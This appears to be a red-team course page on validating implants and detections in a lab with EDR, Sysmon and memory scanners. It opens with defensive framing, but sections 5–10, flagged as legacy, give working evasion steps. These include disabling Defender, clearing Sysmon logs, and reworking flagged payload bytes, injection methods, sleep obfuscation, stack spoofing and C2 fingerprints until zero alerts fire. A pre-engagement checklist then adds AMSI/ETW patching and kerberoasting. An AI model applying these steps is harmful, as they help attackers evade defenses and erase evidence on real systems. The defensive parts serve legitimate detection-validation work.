lab-validation
05 — Lab Validation Framework
BLUF: A successful lab produces one bounded behavior, preserves the resulting telemetry, confirms whether preventive and detective controls behaved as expected, and returns the environment to its captured baseline. Absence of an alert is a finding to investigate, not a signal to tune the behavior for stealth.
Run all validation in an isolated lab environment. Never run memory scanners, EDR agents, or beacon validation tools against production systems.
Sections
- Lab Architecture · 2. EDR Setup (Free Options) · 3. Detection Instrumentation · 4. Test Matrix — What to Validate · 5. AV/Static Evasion Validation · 6. Injection Evasion Validation · 7. Memory Scanner Validation · 8. Network / C2 Traffic Validation · 9. Call Stack Validation · 10. Test Execution Checklist · 11. Interpreting Results
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
Section 1 — Lab Architecture
Minimum viable lab:
┌─────────────────┐ ┌──────────────────────┐
│ Attacker VM │ ←─────→ │ Target Windows VM │
│ Kali / Ubuntu │ LAN │ Win 10/11 22H2 │
│ Sliver / Havoc │ │ EDR agent installed │
│ C2 teamserver │ │ Sysmon v15+ │
└─────────────────┘ └──────────────────────┘
↑ ↑
Management host EDR Console
(your laptop) (browser on same host)
Recommended VM specifications:
| VM | RAM | CPU | Disk | Notes |
|---|---|---|---|---|
| Attacker (Kali) | 4 GB | 2 vCPU | 40 GB | Sliver, Havoc, tooling |
| Target (Windows 11) | 8 GB | 4 vCPU | 80 GB | EDR requires >= 4 GB free RAM |
Why >= 8 GB on target: Memory scanners and EDR behavioral engines are RAM-intensive. Underpowered VMs can drop telemetry and invalidate the result.
Networking:
- Both VMs on a host-only or isolated NAT network; if an EDR requires cloud services, allow only documented vendor endpoints through a controlled egress policy
- Attacker VM bridges out for tool downloads only
- Target VM: outbound to attacker VM C2 only (no other egress needed)
Section 2 — EDR Setup (Free / Trial Options)
Option A: CrowdStrike Falcon — Free Trial
1. Go to: crowdstrike.com → Products → Falcon Go → Start Free Trial
2. Download Falcon sensor installer for Windows
3. Install on target VM: csfalcon-sensor-upgrade.exe /install /quiet
4. Register the sensor via the provided CID token
5. Verify: Hosts → your VM appears with green status
Policy configuration for realistic testing:
Prevention Policy → Create new → enable ALL behavioral prevention options
- Enabled: Process Injection, Memory Scanning, Credential Theft Prevention
- Prevention Actions: Block (not Alert-only)
- Extra Detection Settings: Enhanced Memory Scan = ON
Option B: Elastic Defend — Free (Open Source)
# Elastic Stack is free and provides detection parity with commercial EDR
# On attacker VM — run Elastic Stack via Docker:
git clone https://github.com/peasead/elastic-container
cd elastic-container
./elastic-container.sh start
# Access: https://localhost:5601 (Kibana)
# On target VM: download and install Elastic Agent
# Fleet → Add Agent → Windows → download installer
.\elastic-agent-8.x-windows-x86_64.msi FLEET_URL=https://ATTACKER_IP:8220 ENROLLMENT_TOKEN=<token>
# Enable Elastic Defend integration:
# Fleet → Integrations → Elastic Defend → Add
# Policy: "Malware Protection: Prevent" + "Memory Threat Protection: Detect"
Option C: Microsoft Defender for Endpoint (MDE) — Dev Tenant
1. Microsoft 365 Developer Program: developer.microsoft.com/microsoft-365/dev-program
2. Get free 90-day E5 tenant (renewable)
3. Security.microsoft.com → Settings → Endpoints → Onboarding
4. Download onboarding package → run on target VM
MDE provides: memory threat detection, behavioral analysis, ASR rules
Use for testing: fileless execution, AMSI bypass detection, process injection
Option D: Windows Defender (Free — Always Available)
# Windows Defender is already on every Windows VM
# Enable all real-time protections:
Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -EnableBehaviorMonitoring $true
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -MAPSReporting Advanced
Set-MpPreference -SubmitSamplesConsent Never # Don't submit samples to Microsoft
# Enable Cloud Protection (needed for behavioral detection):
Set-MpPreference -CloudBlockLevel High
Set-MpPreference -CloudExtendedTimeout 50
# View alerts:
Get-MpThreat
Get-MpThreatDetection
Section 3 — Detection Instrumentation
Sysmon (Required)
# Install Sysmon v15+ on target VM:
# Download: sysinternals.com/downloads/sysmon
.\Sysmon64.exe -i sysmonconfig.xml -accepteula
# Use SwiftOnSecurity config (comprehensive, tuned for red team detection):
# raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml
# Key Sysmon Event IDs for validation:
# 1 = Process Creation
# 6 = Driver Loaded (BYOVD detection)
# 7 = Image Loaded (DLL load)
# 8 = CreateRemoteThread (injection detection)
# 10 = ProcessAccess (LSASS access)
# 17 = Pipe Created
# 22 = DNS Query
# View events in PowerShell:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Select-Object TimeCreated, Id, Message |
Where-Object {$_.Id -in @(1,6,7,8,10)} |
Select-Object -First 50 |
Format-List
Memory Analysis Tools (Defender Simulation)
# Install on target VM — these simulate what EDR memory scanners see:
# pe-sieve: find injected PE files and shellcode in running processes
# github.com/hasherezade/pe-sieve
.\pe-sieve64.exe /pid <pid> /shellc 1 /imp 3 /out /tmp/pe-sieve-results
# Moneta: find unbacked memory regions (PE-less shellcode indicator)
# github.com/forrest-orr/Moneta
.\Moneta64.exe --pid <pid>
# Hunt-Sleeping-Beacons: detect C2 beacons using timer/APC-based sleep
# github.com/thefLink/Hunt-Sleeping-Beacons
.\Hunt-Sleeping-Beacons.exe
# Process Hacker 2: manual call stack inspection
# processhacker.sourceforge.io
# Open target process → Threads tab → double-click thread → Call Stack
Network Capture
# On attacker VM — capture all C2 traffic:
tcpdump -i eth0 -w /tmp/c2_capture.pcap host TARGET_IP
# Analyze with Zeek for JA3/JA3S fingerprints:
zeek -r /tmp/c2_capture.pcap local
cat ssl.log | zeek-cut ja3 ja3s ts uid
# Check for Suricata ET C2 signatures:
suricata -r /tmp/c2_capture.pcap -l /tmp/suricata/ --runmode single
cat /tmp/suricata/fast.log | grep -iE "c2|trojan|beacon|cobalt|sliver|havoc"
Section 4 — Test Matrix: What to Validate
| Test | Validates | Evidence source | Pass criteria |
|---|---|---|---|
| Static file scan | File inspection and prevention | Defender/EDR event and console | Scan result, policy, signature version, file hash, and control response retained |
| Benign dynamic execution | Process and behavior visibility | EDR, Sysmon, Windows logs | Expected process/network evidence retained and alert or prevention result recorded |
| Remote-thread simulation | Cross-process behavior visibility | Sysmon EID 8 where configured, EDR telemetry | Expected evidence retained; missing evidence becomes a documented detection gap |
| Memory inspection | Memory-resident artifact visibility | Approved memory scanner | Scanner result, sample hash, timing, and control state retained |
| Network test flow | TLS, URI, DNS, and flow visibility | PCAP, Zeek, Suricata, proxy/firewall | Flow is attributable and expected alerts or gaps are documented |
| Script inspection | Script scanning and policy enforcement | AMSI/PowerShell/EDR logs | Scan and policy result retained without disabling the control |
| Driver-load simulation | Driver loading visibility | Sysmon EID 6 where configured, Code Integrity, EDR | Signed benign test driver or existing lab event is observed; no vulnerable driver is deployed |
Conversion status: Sections 5–10 retain legacy bypass mechanics for review and must not be treated as the current validation procedure. Do not disable protections, clear logs, alter payloads to evade a detection, deploy vulnerable drivers, or tune traffic for zero alerts. Replace each legacy test with a bounded TTP validation card that generates a benign behavior, preserves telemetry, records the control result, and restores the captured baseline.
Section 5 — AV / Static Evasion Validation
# Test 1: Windows Defender static scan (offline)
# Disable real-time protection first:
Set-MpPreference -DisableRealtimeMonitoring $true
# Drop payload to disk:
Copy-Item \\ATTACKER\share\beacon.exe C:\Users\Public\beacon.exe
# Trigger manual scan:
Start-MpScan -ScanPath C:\Users\Public\beacon.exe -ScanType CustomScan
# Check result:
Get-MpThreat | Select-Object ThreatName, Status
# Pass: no threats found
# Fail: threat detected → use ThreatCheck to find flagged bytes and modify payload
# Test 2: ThreatCheck (find exact flagged bytes):
# github.com/rasta-mouse/ThreatCheck
.\ThreatCheck.exe -f .\beacon.exe -e Defender
# Shows: [+] Last known-good offset: <X>
# The bytes after offset X are triggering detection — XOR/AES encrypt them
# Test 3: antiscan.me (no sharing with AV vendors — safe for testing)
# Upload beacon.exe to antiscan.me
# Target: 0–3 detections (engine count varies; check current total on the site)
Section 6 — Injection Evasion Validation
# Baseline: run classic VirtualAllocEx + CreateRemoteThread injection
# Expected: EDR alerts + Sysmon EID 8
# After evasion (APC injection + indirect syscalls):
# Step 1: Clear Sysmon log before test
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
# Step 2: Execute injection
# (run your custom loader with APC injection + SysWhispers3)
# Step 3: Check Sysmon for EID 8 (CreateRemoteThread):
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object {$_.Id -eq 8} |
Select-Object TimeCreated, Message
# Pass: no EID 8 events
# Fail: EID 8 detected → switch injection method (APC, Thread Hijacking)
# Step 4: Check EDR console
# Pass: no behavioral alerts for injection
# Fail: alert fired → check which API triggered it
# Step 5: Verify beacon is responsive
sliver > beacons
# Pass: beacon appears and responds to tasking
Section 7 — Memory Scanner Validation
# Test sleep obfuscation (Ekko / Ziggurat)
# Step 1: Inject beacon WITHOUT sleep obfuscation
# Step 2: Wait for beacon to enter sleep (confirm by no response to immediate tasking)
# Step 3: Run memory scanner DURING sleep:
$pid = (Get-Process -Name "svchost" | Where-Object {$_.MainWindowTitle -eq ""} | Select-Object -First 1).Id
.\pe-sieve64.exe /pid $pid /shellc 1 /imp 3
# Without sleep obfuscation:
# Expected: "[*] Shellcode implant found at <address>"
# Fail result — payload visible
# Step 4: Enable sleep obfuscation in beacon (Ekko/Ziggurat loader)
# Step 5: Repeat scan during sleep:
.\pe-sieve64.exe /pid $pid /shellc 1 /imp 3
# With sleep obfuscation:
# Expected: "[*] Total: 0 / Skipped: 0 / Scanned: <N> / Modified: 0 / Errors: 0"
# Pass result — memory is encrypted ciphertext
# Step 6: Moneta scan (finds unbacked memory regions):
.\Moneta64.exe --pid $pid
# Pass: no "Private executable region" alerts
# Step 7: Hunt-Sleeping-Beacons:
.\Hunt-Sleeping-Beacons.exe
# Pass: beacon not listed, or listed with note "no suspicious sleep mechanism"
Section 8 — Network / C2 Traffic Validation
# On attacker VM, capture beacon traffic:
tcpdump -i eth0 -w /tmp/beacon.pcap host TARGET_VM_IP &
# Let beacon run for 3+ check-in cycles (to capture timing pattern)
sleep 1200
# Stop capture:
kill %1
# Test 1: JARM fingerprint
python3 jarm.py C2_DOMAIN 443
# Pass: returns CDN JARM hash (Cloudflare/Azure), NOT Go TLS default
# Fail: returns Go TLS JARM → no CDN in front → exposing C2 server identity
# Test 2: JA3 fingerprint
zeek -r /tmp/beacon.pcap local
cat ssl.log | zeek-cut ja3 | sort -u
# Compare to known Sliver/Havoc JA3 hashes
# Pass: JA3 matches Chrome/Firefox/CDN (not Go TLS default)
# Test 3: Suricata signatures
suricata -r /tmp/beacon.pcap -l /tmp/suricata-logs/ --runmode single
cat /tmp/suricata-logs/fast.log
# Pass: 0 ET C2 / ET TROJAN / ET INFO Sliver rules match
# Fail: specific rules match → modify profile URI / headers / sleep interval
# Test 4: Beacon interval regularity
# Extract connection timestamps from PCAP:
tshark -r /tmp/beacon.pcap -Y "ssl.handshake" -T fields -e frame.time_epoch | \
python3 -c "
import sys
times = [float(l) for l in sys.stdin]
intervals = [times[i+1]-times[i] for i in range(len(times)-1)]
print('Mean interval:', sum(intervals)/len(intervals))
print('Std dev:', (sum((x-sum(intervals)/len(intervals))**2 for x in intervals)/len(intervals))**0.5)
"
# Pass: high std dev (jitter working) — no regular heartbeat pattern
# Fail: near-zero std dev → jitter not functioning → fix sleep configuration
# Test 5: URI pattern (check for default Sliver paths)
tshark -r /tmp/beacon.pcap -Y "http.request" -T fields -e http.request.uri 2>/dev/null
# Pass: URIs match your http-c2.json profile patterns
# Fail: default /rpc or short paths → profile not loading correctly
Section 9 — Call Stack Validation
# Validate stack spoofing during beacon sleep
# Step 1: Beacon injected and sleeping (waiting between check-ins)
# Step 2: Identify beacon thread
# Open Process Hacker → find injected process → Threads tab
# Look for threads in "Wait:DelayExecution" state (sleeping)
# Step 3: Inspect call stack of sleeping thread
# Double-click thread → Stack tab
# WITHOUT stack spoofing (bad):
# Frame 0: ntdll.dll!ZwWaitForSingleObject
# Frame 1: kernel32.dll!WaitForSingleObjectEx
# Frame 2: 0x1a3f0000 + 0x4a3 ← UNBACKED MEMORY — DETECTED
# Frame 3: 0x1a3f0000 + 0x890 ← UNBACKED MEMORY — DETECTED
# WITH stack spoofing (good — SilentMoonwalk/Ziggurat):
# Frame 0: ntdll.dll!ZwWaitForSingleObject
# Frame 1: kernel32.dll!WaitForSingleObjectEx
# Frame 2: ntdll.dll!RtlpTpWorkCallback
# Frame 3: ntdll.dll!TppWorkerThread
# Frame 4: kernel32.dll!BaseThreadInitThunk
# Frame 5: ntdll.dll!RtlUserThreadStart
# All frames backed by ntdll/kernel32 — looks like a normal Windows worker thread
# Step 4: WinDbg verification
# Attach: windbg -p <pid>
# In WinDbg:
# ~*k → show all thread call stacks
# .reload → ensure symbols loaded
# !teb → thread environment block
# Pass criteria: no frames in private/unbacked memory during sleep
Section 10 — Test Execution Checklist
Run through this before every engagement. Track pass/fail per technique:
PRE-ENGAGEMENT VALIDATION CHECKLIST
STATIC EVASION
[ ] Beacon EXE: 0 Defender detections (offline scan)
[ ] Beacon EXE: < 3/26 on antiscan.me
[ ] Shellcode: pe-sieve finds nothing on file
DYNAMIC — INJECTION
[ ] Shellcode loader: no CreateRemoteThread alert (Sysmon EID 8 silent)
[ ] Injection target: beacon landed in correct process
[ ] PPID spoofing: parent PID appears as chosen process in Sysmon EID 1
AMSI / ETW
[ ] execute-assembly SharpHound: no AMSI block (SharpHound runs clean)
[ ] execute-assembly Rubeus kerberoast: no block, tickets returned
[ ] ETW patch: no Microsoft-Windows-DotNETRuntime events during assembly load
MEMORY SCANNING
[ ] pe-sieve on beacon PID (active): nothing found
[ ] pe-sieve on beacon PID (sleeping): nothing found
[ ] Moneta on beacon PID: no private executable regions
[ ] Hunt-Sleeping-Beacons: beacon not detected
CALL STACK (during sleep)
[ ] Process Hacker: no unbacked frames in sleeping beacon thread
[ ] WinDbg ~*k: all frames backed by ntdll/kernel32
NETWORK / C2
[ ] JARM: CDN fingerprint (not Go TLS default)
[ ] Suricata: 0 ET C2 / ET TROJAN matches
[ ] Beacon interval: high jitter visible in PCAP
[ ] URI patterns: match http-c2.json profile (not /rpc defaults)
[ ] Redirector: 404 for all non-beacon paths
EDR CONSOLE
[ ] CrowdStrike / Elastic: 0 prevention alerts during full test
[ ] Identity verification: beacon responds to tasking post-injection
[ ] Sleep verification: beacon wakes up correctly after 300s+ sleep
Section 11 — Interpreting Results
Pass = Observable, bounded, and recoverable
A test passes when the expected artifact is generated, relevant telemetry is retained, the control response is recorded, the stop condition is honored, and cleanup is verified. One lab result never establishes that a technique is universally reliable; record sensor versions, policy, content versions, exclusions, cloud connectivity, and environmental limits.
Missing alert = detection finding
When the expected alert is absent, preserve the behavior and investigate the telemetry and analytic path. Do not change payload bytes, APIs, injection methods, memory layout, call stacks, timing, or traffic profiles to pursue invisibility.
| Observation | Question | Defensive follow-up |
|---|---|---|
| File is prevented | Which policy/signature fired? | Preserve the alert, hash, policy, and detection name; confirm prevention and document mitigation |
| Cross-process activity is logged | Which source observed it? | Validate correlation, severity, target context, and analyst visibility |
| Memory artifact is found | What property produced the signal? | Record the scanner evidence and define a defensive analytic or prevention requirement |
| Network rule matches | Which fields caused the match? | Preserve PCAP and alert; validate the rule against approved benign and test traffic |
| Expected event exists but no alert fires | Is collection, parsing, correlation, or thresholding missing? | Document the gap and add or tune a defensive analytic |
| No expected telemetry exists | Was the sensor configured and healthy? | Stop the exercise, repair instrumentation, and rerun the same bounded behavior |
Policy Level Matters
A control result at one policy level does not predict the result at another. Before a lab comparison:
- Record the approved comparison policy during scoping
- Set your lab EDR to that policy level
- Run the full validation matrix
- Record the result only for the exact lab configuration and preserve limitations
Validation rule: Use the strongest approved lab policy that matches the exercise, preserve every alert and event, and treat differences from a production environment as explicit limitations.
Part of the Red Teaming 101 series. Cross-references: P6 EDR · Syscall Evasion · Sleep & Stack Evasion · Beacon Engineering · HTTP C2 Profiles